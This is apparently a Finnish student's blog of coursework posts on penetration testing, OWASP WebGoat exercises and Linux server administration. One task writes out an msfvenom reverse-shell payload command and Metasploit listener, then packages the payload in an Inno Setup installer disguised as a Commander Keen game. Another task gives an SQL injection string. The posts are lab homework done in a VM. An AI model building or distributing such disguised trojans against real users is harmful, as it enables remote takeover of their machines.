Tunkeutumistestaus: Akateeminen tutkimus ja Inno Setup

Tehtävä 1.

Tehtävässä on tarkoituksena etsiä ‘Google Scholar’ palvelusta tunkeutumistestausta käsitteleviä tuoreita tutkimuksia. Asetettuani palveluun tehtävänannossa määritetyt vaatimukset aloitin hakutulosten selaamisen. Pelkällä ‘Penetration Testing’ haulla tuloksia oli ihan liikaa ja liian suurelta skaalalta, että sieltä olisi mahdollista löytää tehokkaasti mitään erityisesti mielenkiintoista, joten päätin supistaa hakua. Koska olen nyt koko syksyn ajan työskennellyt ohjelmointiprojektissa, jossa omana vastuualueenani on ollut PHP:llä ohjelmoitu Ubuntu palvelimella pyörivä REST API, päätin kokeilla hakua ‘Penetration testing rest api’ ja tulokset olivat heti huomattavasti mielenkiintoisempia ja tarkemmin rajattuja.

Valitsin lähempään tarkkailuun raportin ‘REST-ler: Automatic Intelligent REST API fuzzing’ (V. Atlidakis, P. Godefroid, M. Polishchuk – 26.6.2018), joka käsitteli REST-ler nimistä työn alla olevaa ohjelmistoa, jolla voisi testata uusin tavoin ja automatisoidusti REST API -tyylisiä verkkopalveluita, jotka ovat lisääntyneet huomattavasti lähiaikoina kaikenlaisten pilvipalveluiden mukana. Valitettavasti itse REST-ler ohjelman lähdekoodeja ei ole ainakaan GitHubissa, tai muissa vastaavissa palveluissa tarjolla, mutta monet muut vastaavanlaiset ohjelmistot, joista REST-ler hakee mallia, tai joita se muuten hyödyntää, ovat saatavilla GitHubista.

Mikä on REST API palvelu? REST on lyhenne sanoista ‘Representational State Transfer’, ja tarkoittaa arkkitehtuurimallia, jossa verkossa toteutettaville palveluille haetaan lisää nopeutta ja keskinäistä harmoniaa hyödyntämällä yhteisiä standardisoituja protokollia ja operaatioita. API taas on lyhenne sanoista ‘Application Programming Interface’, eli rajapinta. REST APIt ovat siis standardisoituja palvelimilla toimivia yhtenäisiä rajapintoja, jotka usein toteuttavat tietokannan ja käyttöliittymän välillä CRUD (Create, Read, Update, Delete) HTTP metodeja.

Koska en pysty kokeilemaan REST-leriä, kokeilen seuraavaksi artikkelissa mainittua APIFuzzer ohjelmistoa, joka löytyy Githubista. Asensin APIFuzzerin GitHubin ohjeiden mukaan, mikä saattaa vaatia python-pip paketin lataamista paketinhallinnasta (sudo apt-get install python-pip). Minulla ei myöskään toiminut ohjeissa annettu pip2.7 install -r APIFuzzer/requirements.txt komento, mutta jättämällä sanan pip perästä numeron 2.7 pois ohjelma asentui oikein.

Asennus luo ohjelmalle uuden kansion. Tuon kansion sisällä komennolla python fuzzer.py -h avaat helpin. APIFuzzerin mukana tulee myös testiohjelma, jolla voit testata kaiken toimivan oikein. Kyseistä ohjelmaa varten tarvitset seuraavat python paketit:

Flask==1.0.2
pytest==3.6.3
pytest-cov==2.5.1
sphinx
sphinx_rtd_theme
werkzeug
#hae kaikki komennolla:
sudo apt-get install python-flask python-pytest python-pytest-cov python-sphinx python-sphinx-rtd-theme python-werkzeug -y

Tämän jälkeen voi aloittaa testiohjelman komennolla python test/test_application.py, joka aloittaa pienen REST palvelun toteuttamisen terminaalissa. Seuraavaksi siirryin toisessa terminaalissa samaan kansioon ja toteutin komennon python2.7 fuzzer.py -s test/test_swagger_definition.json -u http://localhost:5000/ -r /tmp/reports/, jonka pitäisi käynnistää fuzzer testi, mutta valitettavasti komento ei toiminut, koska test_swagger:_definition.json tiedostoa ei löytynyt, joten ohjelman testaaminen oli pakko päättää tähän, kunnes saan jostain itselleni REST API palvelun, jota saan testata, ja jossa on valmiina dokumentaatio, jonka pohjalta voin käyttää APIFuzzeria.

Tehtävä 2:

Koska REST palvelut, Raspberryt, Arduino, PHP ja tietokannat ovat tällä hetkellä työn alla olevan projektin kannalta tärkeitä, päätin seuraavaksi kokeilla hakua lauseella: penetration testing intext:rest intext:api intext:php intext:linux intext:server intext:raspberry intext:arduino, joka kuitenkin osoittautui ehkä hieman liian spesifiseksi:

Screenshot_2018-10-01_23-12-02

Kun poistin hausta Arduinon ja Raspberryn, jotka eivät kuitenkaan ole projektissa omaa vastuualuettani, sain paljon tehokkaammin informaatiota:

Screenshot_2018-10-01_23-16-34

Tehtävä 3:

Tehtävän tarkoituksena on luoda troijalainen hyökkäysohjelma, kuten viime viikon tehtävissä, mutta tällä kertaa se pitää myös paketoida Inno Setupilla. Aloitin tehtävän suorittamisen luomalla msfvenomilla yksinkertaisen hyökkäysohjelman komennolla: msfvenom -p windows/meterpreter/reverse_tcp lhost=//IPOSOITE// lport=9999 -e x86/shikata_ga_nai -f exe -o /home/robs/public_html/THIS_IS_MALWARE.exe. Seuraavaksi asetin metasploitin kuuntelemaan porttia 9999 ja ilmoitusta, että uhri on käynnistänyt ohjelman.

sudo msfconsole
use multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST //IPOSOITE//
set LPORT 9999
run

Siirsin THIS_IS_MALWARE.exe tiedoston windowsin puolelle, jossa suljin defenderin pois päältä, jotta se ei tuhoaisi .exe tiedostoa. Nopealla testillä haittaohjelma toimi oikein ja loi minulle Kalin puolelle Meterpreter Shellin.

Seuraavaksi latasin verkosta Inno Setupin ja asensin sen koneelle.  Seuraavaksi latasin abandonwaresivustolta (ja tosiaan teen tämän virtuaalikoneella, en oikeassa windows asennuksessani) Commander Keenin, unzippasin sen ja nimesin hyökkäystiedostoni setup.exe:ksi. Inno Setupin “Next”-sulkeisten jälkeen sain lopulta luotua Commander Keen zipin ja oman exeni pohjalta ‘Commander_Keen_6_(CONTAINS_MALWARE).exe’ asennustiedoston, joka asentaisi Keenin koneelle, mutta asettaisi pakettiin mukaan ylimääräisen setup tiedoston, joka käynnistää meterpreter shellin.

Olisin kuitenkin voinut testata ladatun Commander Keenin toimivuuden, sillä purettu .zip oli itseasiassa asennustiedosto, eikä jo valmiiksi purettu peli, eli käytännössä loin installerin, joka sisälsi toisen installerin ja epämääräisen setup.exe tiedoston, joka oikein huusi olevansa malware. “Yo, I heard you like to click Next so I put your installer inside an installer jne…”.

Tehtävä 4:

Koska en ollut flunssan takia edellisellä luennolla mukana, en ollut missään pareihin jakautumisessa mukana, joten en oikein voi näitä paritehtäviä tehdä, mutta etsin silti kokeeksi itsestäni tietoa hakukoneilla (google, duckduckgo) ja tehtävänannossa mainituilla työkaluilla.
Monet weppipalveluista eivät ainakaan tuntuneet olevan erityisen tehokkaita, tai olen osannut maskeerata itseni hyvin, koska valtaosa löydöistä olivat joko omasta blogistani tai terokarvinen.com:sta kouluhommia, tai sivutoimisiin dj-keikkoihini liittyvää markkinointia. Toisaalta löysin myös todella vanhoja foorumipostauksia vusien takaa (2005-2007), mutta pian kyseisen aikajanan jälkeen kaikki informaatio facebookia lukuunottamatta katoaa melkein kymmeneksi vuodeksi.

LINKIT:

http://terokarvinen.com/2018/penetration-testing-course-autumn-2018
https://arxiv.org/pdf/1806.09739.pdf
https://en.wikipedia.org/wiki/Representational_state_transfer
https://fuzzing-project.org/
https://github.com/KissPeter/APIFuzzer
http://jrsoftware.org/isinfo.php
http://www.abandonia.com/

Tunkeutumistestaus: OWASP10 testausta.

Aloitin Haaga-Heliassa tunkeutumistestauskurssin, johon liittyvät tehtävät lisään tänne blogiin. Ensimmäisen luennon aiheena oli mm. OWASP Top 10 ja luennon kotitehtävinä oli tutustua tarkemmin listan haavoittuvuuksiin. Testaan näitä haavoittuvuuksia OWASP WebGoat sovelluksella, joka löytyy Githubista täältä. Latasin Github sivulta uusimmat lähdekoodit ja valmiin .jar paketin uusimman version.

Minulla on tehtäviä varten käytössä Xubuntu 18.04LST. Seuraavaksi asensin koneelle Mavenin, JRE:n (Java Runtime Enviroment) ja JDK:n (Java Development Kit) paketinhallinnasta komennoilla:

cd
sudo apt-get update
sudo apt-get upgrade
sudo apt-get install default-jre
sudo apt-get install default-jdk
sudo apt-get install maven
#tarkista ovatko jre ja jdk asentuneet oikein ja onko sinulla oikea versio:
java -version
javac -version
cd Downloads

(Lopulta en todennäköisesti olisi edes tarvinnut Mavenia, sillä suoritin tehtävät pelkällä .jar:lla).

Käynnistä ladattu WebGoat sovellus terminaalista komennolla java -jar webgoat-server-8.0.0.M21.jar. Tämä komento ei kuitenkaan toiminut ja (todella pitkässä) virheviestissä ongelma sijaitsi EntityManagerFactoryssä. Lisäämällä java.xml.bind moduulin komentoon mukaan sai WebGoatin lopulta toimimaan, eli: java --add-modules java.xml.bind -jar webgoat-server-8.0.0.M21.jar. Kun olet saanut WebGoat palvelimen päälle pääset käyttämään sitä tästä URLista.

WebGoat aloitussivu:

owasp10 kuva 1

Loin itselleni käyttäjätilin, joka ei luonnollisesti käyttänyt mitään aikaisemmin käyttämiäni nimiä tai salasanoja ja kirjauduin sisään. Aloitan OWASP10 harjoitukset mielestäni yksinkertaisimmalla ja tutuimmalla kohdalla, eli SQL Injektiolla.

SQL-Injektio:

owasp10 kuva 2

Tehtävässä on siis tarkoitus saada koko tietokanta esille lisäämällä SQL koodia hakukenttään. Lisäämällä kenttään rivin Smith' OR '1' = '1 sain nopeasti koko tietokannan sisällön esille. Sivustolle ohjelmoitu SQL haku näyttää tältä: "select * from users where LAST_NAME = ‘" + userName + "'"; johon userName muuttuja haetaan hakukentästä. Niinpä lisäämällä vastausrivimme kyseinen SQL lause muuttuu muotoon: select * from user where LAST_NAME = 'Smith' OR '1' = '1'. Niinpä tämä haku käy läpi kaikki user taulun oliot ja tekee jokaisen kohdalla testin onko käyttäjän nimi Smith tai 1=1. Koska 1=1 on automaattinen tosilause hakee SQL lause koko tietokannan.

Rikkinäinen autentikaatio

Seuraavaksi siirrymme hyväksikäyttämään huonosti ohjelmoituja ja rikkinäisiä autentikaatiojärjestelmiä. Tarvitsemme siihen uuden työkalun, eli Wiresharkin. Asenna se seuraavilla komennoilla:

sudo apt-get update
sudo apt-get upgrade
sudo apt-get install wireshark-qt

Tässä tehtäväkuvaus WebGoatista:

owasp10 kuva 3Kun olet saanut wiresharkin päälle valitse capture filteriksi ‘loopback :Io’, eli localhostissa tapahtuva verkkoliikenne. Wireshark aloittaa tällöin loopback:Io osoitteen pakettien tarkkailun. Klikkaa tehtävän ohjeiden mukaan ‘Log In’ painiketta ja käy pysäyttämässä wiresharkin tarkkailu punaisesta painikkeesta. Tämän jälkeen on helppo paikantaa ‘Log In’ painiketta seurannut paketti ja purkaa sen sisällöstä käyttäjänimi ja salasana.

owasp10 kuva 4.jpg

Näin saamme tilin käyttäjänimeksi “CaptainJack” ja salasanaksi “BlackPearl”.

Linkit:

Kurssin infot ja tehtävänanto
OWASP
WebGoat Github
SQL Injektio W3Schoolsissa
Wireshark

 Toinen tehtäväesimerkki jota käytin apuna Wiresharkin kanssa (Kiitos!)

Linux palvelimet: Automaatio ja ohjelmointiympäristöt.

Kirjoita ja suorita “Hello World” kolmella eri kielellä.


1) Python 3:

Aloitamme ohjelmoinnin luomalla kansion Python koodeja varten ja tarkistamme linuxin päivitykset:

cd
mkdir -p Koodit/Python
cd Koodit/Python
sudo apt-get update
sudo apt-get upgrade

Seuraavaksi luomme tiedoston jonne kirjoitamme koodin:

nano hello.py
print("Hello World!")

Pythonissa print() on valmis metodi, joka kirjoittaa parametrikseen asetetun numeron tai stringin IDE:n konsoliin tai Linux terminaaliin.

Tallenna ja poistu nanosta Ctrl-x:llä. Kun Nano kysyy haluatko tallentaa valitse y. Seuraavaksi testaamme koodin komennolla python3 hello.py. Tämä tuottaa terminaaliin tekstin “Hello World!”. Koodi toimii.


2) C++:

Aloitamme taas luomalla kansion C++ koodeja varten:

cd
mkdir -p Koodit/C++
cd Koodit/C++

Seuraavaksi luomma tiedoston ja koodin:

nano hello.cc
#include 
using namespace std;

int main () {
  cout << "\nHello World!\n\n";
  return 0;
}

Koodissa ensimmäisellä rivillä ilmoitamme, että käytämme C/C++/yms kielien input/output streamia, johon kuuluvat esim cin ja cout komennot. Toisella rivillä ilmoitamme, että käytämme standardi namespacea, josta käyttämämme cout komento löytyy iostreamista.
Seuraavaksi siirrymme itse ohjelmaan. Jokainen C ohjelma alkaa main() metodilla, jonka palautusarvona on int. Metodin sisällä meillä on cout << komento ja sille “Hello World!” string. cout toimii samalla tavalla kuin pythonin print, eli kirjoittaa terminaaliin parametristringin. Lopulta katkaisemme main() metodin palauttamalla nollan.

Seuraavaksi tarkistamme, että linuxistamme löytyy g++ C compiler:

whereis c++
#Tulos:
c++: /usr/bin/c++ /usr/include/c++ /usr/share/man/man1/c++.1.gz

which c++
#Tulos:
/usr/bin/c++

dpkg -l | grep g++
#Tulos:
ii g++                                   4:5.3.1-1ubuntu1
       amd64        GNU C++ compiler
ii g++-5                                 5.4.0-6ubuntu1~16.04.9
       amd64        GNU C++ compiler

Tämä tarkoittaa, että C compiler on kunnossa. Seuraavaksi rakennamme koodistamme a.out tiedoston, nimeämme sen uudelleen ja testaamme sen toiminnan:

c++ hello.cc
ls
mv a.out hello
./hello

Tämä tuottaa terminaaliin tekstin “Hello World!”. Koodi toimii.


3) Assembly:

Tämä assembly koodi on tarkoitettu 64-bittisille linux järjestelmille ja Intel prosessoreille eikä mahdollisesti toimi muissa järjestelmissä ilman emulaattoreita tai virtuaalikoneita. Aloitamme luomalla kansion Assembly projekteille ja asennamme Nasm compilerin paketinhallinnasta.

cd
mkdir -p Koodit/Asm
cd Koodit/Asm
sudo apt-get install nasm

Seuraavaksi luomme .asm tiedoston ja kirjoitamme sinne assemblykoodin. Kannattaa verrata hello.asm tiedostoa edellisen tehtävän hello.cc tiedostoon niin näet kuinka Assembly poikkeaa C++:sta, tai lähes mistä tahansa High-Level kielestä:

nano hello.asm
section .data
    msg db      "Hello World!"

section .text
    global _start

_start:
    mov     rax, 1
    mov     rdi, 1
    mov     rsi, msg
    mov     rdx, 13
    syscall
    mov    rax, 60
    mov    rdi, 0
    syscall

Kahdella ensimmäisellä koodirivillä luomme .data sektion, jonka sisään lisäämme stringin “Hello World!”. Voimme käyttää tätä sektiota nyt muualla koodissa kutsumalla sitä “msg” kutsulla. Seuraavaksi luomme sektion .text, joka sisältää komennon _start, joka käynnistää itse ohjelman. _start komennon sisällä meillä on sarja mov ja syscall komentoja. Mov komento siirtää dataa prosessorin muistin rekisteristä toiseen, tai luo sinne dataa. Koodissa luomme aluksi rax rekisterissä pohjan syscall toiminnolle, lisäämme syscalliin tarvittavat kolme parametriä, joista keskimmäinen on “Hello World!” viestimme ja suoritamme syscallin, joka antaa prosessorille ohjeen suorittaa jokin toiminto. Lopuksi lähetämme syscalliin käskyn lopettaa käynnissä oleva operaatio ja suoritamme uuden syscallin.

Seuraavaksi rakennamme koodista ohjelman nasm compilerilla ja suoritamme sen:

nasm -f elf64 -o hello.o hello.asm
ld -o hello hello.o
./hello

Terminaaliin ilmestyy teksti “Hello World!”. Koodi toimii.


LINKIT:
Tehtävänannot
https://www.python.org/doc/
http://www.cplusplus.com/doc/tutorial/
https://en.wikipedia.org/wiki/Assembly_language
http://0xax.blogspot.fi/2014/08/say-hello-to-x64-assembly-part-1.html

Linux palvelimet: OpenSSH-etähallinta. Tulimuuri.

Tehtävä a-c)

Tässä tehtävässä asennamme SSH:n, suojaamme koneen tulimuurilla ja testaamme SSH:n siirtämällä sen avulla tiedoston. SSH löytyy paketinhallinnasta ja asentuu normaalisti sudo apt-get install ssh komennolla. Seuraavaksi avaamme tulimuuriin aukon porttiin 22, jota SSH yhteys käyttää. Tämä on tärkeää tehdä heti alkuun, sillä linuxin ufw (uncomplicated firewall) tosiaan pysäyttää kaiken verkkoliikenteen, paitsi avatut portit, mikä saattaa olla ongelma jos työskentelet esimerkiksi virtuaalikoneella. Portti 22 aukaistaan ja palomuuri käynnistetään komennoilla:

sudo ufw allow 22/tcp
sudo ufw enable

Seuraavaksi luomme tiedoston ja kansion testiä varten ja siirrämme luodun tiedoston luotuun kansioon:

cd
mkdir testi
nano foo
scp /home/topiniskala/foo topiniskala@localhost:/home/topiniskala/testi
cd testi
ls

Varmistettuamme että tiedosto on siirtynyt uuteen kansioon voimme todeta, että ssh toimii oikein!


Tehtävä d)

Seuraavaksi luomme avaimen, jonka avulla voimme automatisoida kirjautumisen niin että salasanoja ei jatkuvasti tarvitse toistaa. Ensiksi luomme uuden avaimen ja lisäämme sen SSH:lle. SSH tukee lukuisia eri avainalgoritmeja, joista RSA on luultavasti eniten käytetty, mutta toisaalta jäämässä on vanhaksi. Siksi päätin kokeilla uudempaa ECDSA algoritmia:

ssh-keygen -t ecdsa -b 521
ssh-copy-id topiniskala@localhost

Tässä vaiheessa SSH kysyy salasanaasi. Oikean salasanan jälkeen uusi luotu avain on lisätty SSH:lle ja jatkossa kirjautuminen onnistuu avaimella ilman, että käyttäjän tarvitsee toistaa pitkiä salasanoja.


Tehtävä e)

Tässä tehtävässä kokeilemme SSH:n portin vaihtoa. SSH on koneella tehtävää varten valmiiksi asennettuna ja testattuna. SSH portti vaihdetaan SSH:n config tiedostosta sudoeditillä komennolla sudoedit /etc/ssh/sshd_config. Etsimme config tiedostosta kohdan Port 22 ja vaihdamme porttinumeron uudeksi. Tarkistin myös, että uusi portti ei ole varattuna millekään toiselle sovellukselle. Itse käytin tehtävässä porttia 56565.
Portin vaihdon jälkeen SSH tulee käynnistää uudelleen, jotta muutokset astuvat voimaan (sudo service ssh restart). Tämän jälkeen testaamme ensin kirjautumisen ssh:lla normaalisti (ssh topiniskala@localhost) ja sen jälkeen uutta porttia käyttäen (ssh topiniskala@localhost -p 56565). SSH yhteys ei auennut ilman uutta porttia, mikä varmistaa että portti vaihtui onnistuneesti.


Tehtävä i)

Tehtävänanto:
Ratkaise Scan of the Month 15. Katso vinkkejä Forensic File Recovery with Linux – Undelete. Älä katso malliratkaisua netistä, ellet ole jumissa, ja merkitse raporttiisi, jos katsoit. Kuva sisältää oikeaa haittakoodia, älä käsittele sitä arvokkailla tietokoneilla tai työnantajan tuotantoverkossa, äläkä aja siltä löytyviä ohjelmia. Kaikki vastaukset löytyvät kuvasta, tässä tehtävässä ei tutkita mitään muita järjestelmiä.

Aloitin tehtävän lataamalla honeynet.tar.gz paketin kansioon /home/topiniskala/Desktop/forensic/ ja purin sen ja loin puretun honeynet kansion sisään sdc1 kansion. Lopulta mounttasin honeypot.hda8.dd imagen sdc1 kansioon:

tar -xvf honeynet.tar.gz
cd honeynet
mkdir sdc1
sudo mount -o "loop,nodev,noexec,ro" honeypot.hda8.dd sdc1

Seuraavaksi loin kansiot “allocated” ja “deleted” joihin purin .dd paketista tiedostot sleuthkitin tsk_recover toiminnolla:

mkdir allocated deleted
tsk_recover -a honeypot.hda8.dd allocated
tsk_recover honeypot.hda8.dd deleted

Lopuksi loin myös aikajanan honeypot paketista. Koska tiedämme, että murto honeypot järjestelmään tapahtui 15.3.2001, joten aloitamme tutkimisen sieltä:

tsk_gettimes honeypot.hda8.dd>rawtimes
mactime -b rawtimes | less
/Mar 15 2001

15.3.2001 aikamerkinnällä löytyi joukko deletejä, jotka vaikuttivat epäilyttäviltä. Näistä deleteistä erityisesti osui silmään lk.tgz paketti, joka löytyi /deleted kansiosta. Purin kyseisen paketin ja löysin sen sisältä kansion nimeltä last, jonka sisällä oli joukko tiedostoja. Tiedostojen joukossa oli mm. linsniffer johon olin aikoinaan törmännyt linux rootkitteihin perehtyessä. Niinpä uskon, että tämä lk.tgz oli murrossa käytetty rootkit.


LINKIT:
Tehtävänannot
https://www.ssh.com/ssh/keygen/
https://en.wikipedia.org/wiki/List_of_TCP_and_UDP_port_numbers
http://old.honeynet.org/scans/scan15/
http://terokarvinen.com/2013/forensic-file-recovery-with-linux
http://opensourceforu.com/2011/09/rootkits-the-enemy-within/

Linux palvelimet: Syventävä aihe weppipalvelimista

Tehtävä a)

Aika hankkia virtuaalipalvelin ja luoda sille normaalitason käyttäjä! Tehtävää varten olen hankkinut Digital Oceanilta Ubuntu pilvipalvelimen (muisti 1Gb, kovalevy 25Gb) ja oman domain nimen. Hankkimani pilvipalvelin oli halvin Digital Oceanin tarjoama vaihtoehto, mutta silti ehdottomasti tarpeeksi iso käyttööni.
HUOM! Muista käyttää ainoastaan hyviä salasanoja palvelimellasi!

Ensimmäiseksi kirjauduin palvelimelle SSH:n avulla root tason käyttäjänä komennolla ssh root@IP-osoite. Kuitenkin kahden ensimmäisen epäonnistuneen kirjautumisen jälkeen huomasin, että koneeni internetyhteys oli katkennut. Olin vahingossa kiskaissut irti USB johdon, josta kannettava tietokoneeni saa yhteyden. Uuden yhteydenluonnin jälkeen palvelin tervehti minua “Welcome to Ubuntu 16.04.3 LTS (GNU/Linux 4.4.0-122-generic x86_64)” viestillä merkiksi siitä, että olin saanut SSH yhteyden onnistuneesti palvelimelleni.

Seuraavaksi päätin asentaa ja configuroida koneelle palomuurin, jotta saisin rajattua pois käytöstä kaikki sellaiset portit joita en itse käytä. Kuitenkin ennen palomuurin (ufw, eli Uncomplicated FireWall) käynnistämistä tulee palomuurista avata SSH-yhteyden käyttämä portti 22, tai palomuuri sulkee myös minut palvelimen ulkopuolelle. Samalla päätin aukaista myös Apachen käyttämän 8080 portin, koska tulen asentamaan palvelimelle myös Apachen myöhemmin.

Komennot:

sudo ufw allow 22/tcp
sudo ufw allow 8080/tcp
sudo ufw enable

Seuraavaksi loin palvelimelle uuden käyttäjän ja annoin tälle käyttäjälle sudo ja admin tason oikeudet koneelle. Loin myös testikäyttäjän, jolla ei ole admin eikä sudo oikeuksia, jos joskus tarvitsen enemmän käyttäjiä esimerkiksi kouluprojekteissa. Tämän jälkeen lukitsin pois Root käyttäjän.

sudo adduser topi
sudo adduser topi sudo
sudo adduser topi adm
sudo adduser topi admin
sudo adduser testi
#Tässä vaiheessa kannattaa testata että käyttäjät toimivat oikein!
sudo usermod --lock root

Tämän jälkeen poistin myös /etc/ssh/sshd_config tiedostosta root login mahdollisuuden PermitRootLogin yes/no valinnalla. Päätin myös testata sainko oikeasti rajattua luomani testikäyttäjän sudo oikeudet. Sudo mkdir testikansio sai kuitenkin aikaan vain viestin, että käyttäjällä testi ei ole sudo-oikeuksia ja yrityksestä käyttää niitä on tehty raportti. Kuulostaa uhkaavalta! Tarkistin ‘topi’ käyttäjänä palvelimen /var/log/auth.log lokin ja sieltä tosiaan näkyi, että käyttäjä ‘testi’ on aloittanut uuden session ja yrittänyt suorittaa sudo komentoja.

Feb 12 19:55:03 pilviasema sshd[25819]: Accepted password for testi from IP-NUMERO port 55751 ssh2
Feb 12 19:55:03 pilviasema sshd[25819]: pam_unix(sshd:session): session opened for user testi by (uid=0)
Feb 12 19:55:03 pilviasema systemd: pam_unix(systemd-user:session): session opened for user testi by (uid=0)
Feb 12 19:55:03 pilviasema systemd-logind[1325]: New session 477 of user testi.
Feb 12 19:55:55 pilviasema sudo:    testi : user NOT in sudoers ; TTY=pts/1 ; PWD=/home/testi/kansioo ; USER=root ; COMMAND=/bin/mkdir testikansio

Lopulta päivitin palvelimen sudo apt-get update ja sudo apt-get upgrade komennoilla.


Tehtävä s)

Kun olin saanut luotua itselleni uuden käyttäjän palvelimelleni, oli seuraavana vuorossa Apachen asennus ja käyttöönotto. Apache asentui normaalisti paketinhallinnan kautta komennolla sudo apt-get install apache2. Tämän jälkeen testasin että saan firefoxilla Apachen aloitussivun näkyviin localhostissa ja omalla IP-osoitteellani, mikä onnistui ilman ongelmia. Tämän jälkeen luonnollisesti vaihdoin Apachen aloitussivun joksikin vähemmän huomiotaherättäväksi (sudoedit /var/www/html/index.html).

Kun Apache oli saatu testattua ja toimi, oli aika liittää siihen hankkimani domain nimi topiniskala.com. Tämä tapahtui namecheap sivustolla luomalla domainilleni A Record ja CNAME Record, jotka viittaavat palvelimelleni. Näiden täyttämistä varten löytyy namecheapiltä monia hyviä tutoriaaleja, jotka kannattaa lukea läpi (esim: https://www.namecheap.com/support/knowledgebase/article.aspx/434/2237/how-do-i-set-up-host-records-for-a-domain ). Tässä myös kuva sivustosta:

namecheap

Namecheappiin tehdyt muutokset eivät välttämättä asetu voimaan heti, mutta lopulta sain auki omat kotisivuni osoitteessa www.topiniskala.com/~topi/


Tehtävä y)

Aika tarkistaa lokeista onko palvelimelleni jo mahdollisesti yritetty murtautua? Nämä lokit saa näkymään komennolla tail /var/log/auth.log.

tässä pieni pätkä lokista Auth.log:

Feb 12 21:01:49 pilviasema sshd[26514]: Disconnected from 137.74.3.147 port 40912 [preauth]
Feb 12 21:01:51 pilviasema sshd[26516]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=58.218.198.151 user=root
Feb 12 21:01:54 pilviasema sshd[26516]: Failed password for root from 58.218.198.151 port 57817 ssh2
Feb 12 21:01:58 pilviasema sshd[26516]: message repeated 2 times: [ Failed password for root from 58.218.198.151 port 57817 ssh2]
Feb 12 21:01:58 pilviasema sshd[26516]: Received disconnect from 58.218.198.151 port 57817:11: [preauth]
Feb 12 21:01:58 pilviasema sshd[26516]: Disconnected from 58.218.198.151 port 57817 [preauth]
Feb 12 21:01:58 pilviasema sshd[26516]: PAM 2 more authentication failures; logname= uid=0 euid=0 tty=ssh ruser= rhost=58.218.198.151 user=root

Kuten näkyy, koneelle on yritetty murtautua lukuisia kertoja. Selvittääkseni mistä nämä yritykset ovat peräisin asensin paketinhallinnasta ‘whois’ sovelluksen (sudo apt-get install whois).

-Ensimmäinen lokissa näkyvä ip 137.74.3.147 on whoisin mukaan peräisin Puolasta Wroclavista.
-Toinen lokissa oleva ip 58.218.198.151 johtaa taas Kiinaan Pekingiin, ja less auth.log komennon mukaan on yrittänyt koko illan murtautua palvelimelle varmasti satoja kertoja.


Tehtävä b/c)

Palvelimella olisi hyvä olla jotain sisältöä testausta varten, joten päätin luoda itselleni jonkinlaisen index.html tiedoston. Ensiksi loin palvelimelle /home/topi/public_html kansion. Sen jälkeen ‘scp’ toimintoa kokeillakseni avasin toisen linux terminaalin omalle koneelleni ja loin siellä nanolla yksinkertaisen html pohjan. Perus Hello Worldin sijaan päätin lisätä sivulle jonkinlaisen oikean tervehdyksen ja linkit githubiini ja mixcloudiini. Tämän jälkeen lisäsin vielä sivulle githubiin tallentamani PHP laskimen ja etusivulle sitä varten linkin. Koska html-tageja sisältävää koodia on hankala lisätä tänne wordpressiin, lisään tähän vain linkin sivulleni, josta sivun lähdekoodin voi tarkistaa jos tarvetta. Laskimen lähdekoodit taas löytyvät githubistani.

www.topiniskala.com/~topi/


LINKIT:
Tehtävänannot
www.digitalocean.com/
www.namecheap.com/
http://terokarvinen.com/2017/first-steps-on-a-new-virtual-private-server-an-example-on-digitalocean
www.topiniskala.com/~topi/
https://github.com/TopiNiskala/Linux-Palvelimet/blob/master/calc.php

Linux palvelimet: Apache-weppipalvelin ja LAMP kehitysalusta

Tehtävä j)

Asennamme ja testaamme koko LAMP pinon. Aloitamme lähtöasetelmasta, jossa uusi Linux (Xubuntu 16.04 LTS) käyttöjärjestelmä on juuri asennettu koneelle. Ensimmäinen vaihe on luonnollisesti pitää huolta, että Linux on ajan tasalle ja päivitetty, eli:

sudo apt-get update
sudo apt-get upgrade

Seuraavaksi asennamme ja testaamme Apache palvelimen. Apache löytyy paketinhallinnasta nimellä apache2 ja asennuksen jälkeen testaamme löytyykö Apache palvelin locahost osoitteesta. Testaamme myös localhostin pelkällä ip osoitteella.

sudo apt-get install apache2
firefox "http://localhost"
firefox "http://xxx.xxx.xxx.xxx"

On myös hyvä idea korvata Apachen aloitussivu jollakin muulla, jotta se ei herätä huomiota hakukoneissa uusia servereitä etsittäessä. Lisää esimerkiksi jotakin tekstiä html koodin tilalle.

sudo nano /var/www/html/index.html

Seuraavaksi luomme kansion verkkosivuille joita Apache hostaa. Luomme samalla jonkinlaisen index sivun jolla voimme myöhemmin testata muita LAMP osia.

cd
mkdir public_html
cd public_html
nano index.html

Koodi index.html sivuille:
https://github.com/TopiNiskala/Linux-Palvelimet/blob/master/index.php

Seuraavaksi teemme vielä lopulliset testit Apachen toiminnasta ennen kuin siirrymme eteenpäin. Ennen niitä meidän kuitenkin tulee asettaa public_html userdiriksi ja uudelleenkäynnistää Apache.

sudo a2enmod userdir
sudo service apache2 restart
#vanhemmissa linux distroissa sinun mahdollisesti täytyy käyttää edellisen rivin
#sijaan koodia: sudo /etc/init.d/apache2 restart
whoami
firefox "http://localhost/~linuxkäyttajanimi

Jos edellisten komentojen jälkeen firefoxiin aukeaa luomamme Hello World verkkosivu Apache toimii!

Seuraavaksi asennamme paketinhallinnasta MySQL serverin ja clientin ja avaamme mysql clientin:

cd
sudo apt-get install mysql-server mysql-client
mysql -u root -p

Asennuksen aikana terminaaliisi aukeaa sininen ikkuna, johon mysql pyytää sinua luomaa root tason salasanan. Tämä salasana ei saa olla sama kuin Linux salasanasi ja sen tulee olla vaikea. MySQL kysyy tätä salasanaa myös clienttiin sisään kirjautuessa.
Kun olet päässyt sisälle mysql clienttiin, on aika luoda ensimmäinen testitietokanta. Annamme samalla käyttäjänimellesi käyttöoikeudet tietokantaan. Muista antaa taas uudelle käyttäjälle uniikki ja vaikea salasana.

CREATE DATABASE testi CHARACTER SET utf8;
SHOW DATABASES;
GRANT ALL ON testi.* TO käyttäjänimi@localhost IDENTIFIED BY 'tähän_tulee_salasana';

Seuraavaksi testaamme että luomamme tietokanta toimii oikein:

exit
mysql -u käyttäjänimi -p
CREATE DATABASE testitestitesti;

Mikäli saat tietokannan luontiyrityksestä ‘Access Denied’ viestin, niin kaikki toimii oikein. Tämän jälkeen syötämme jotakin dataa testitietokantaan ja suljemme mysql clientin:

USE testi;
CREATE TABLE testi (id INT AUTO_INCREMENT PRIMARY KEY, teksti VARCHAR(255), numero INT);
SHOW TABLES;
INSERT INTO testi (teksti, numero) VALUES ("Harjoitus", 12345);
INSERT INTO testi (teksti, numero) VALUES ("Kokeilu", 23456);
SELECT * FROM testi;
exit

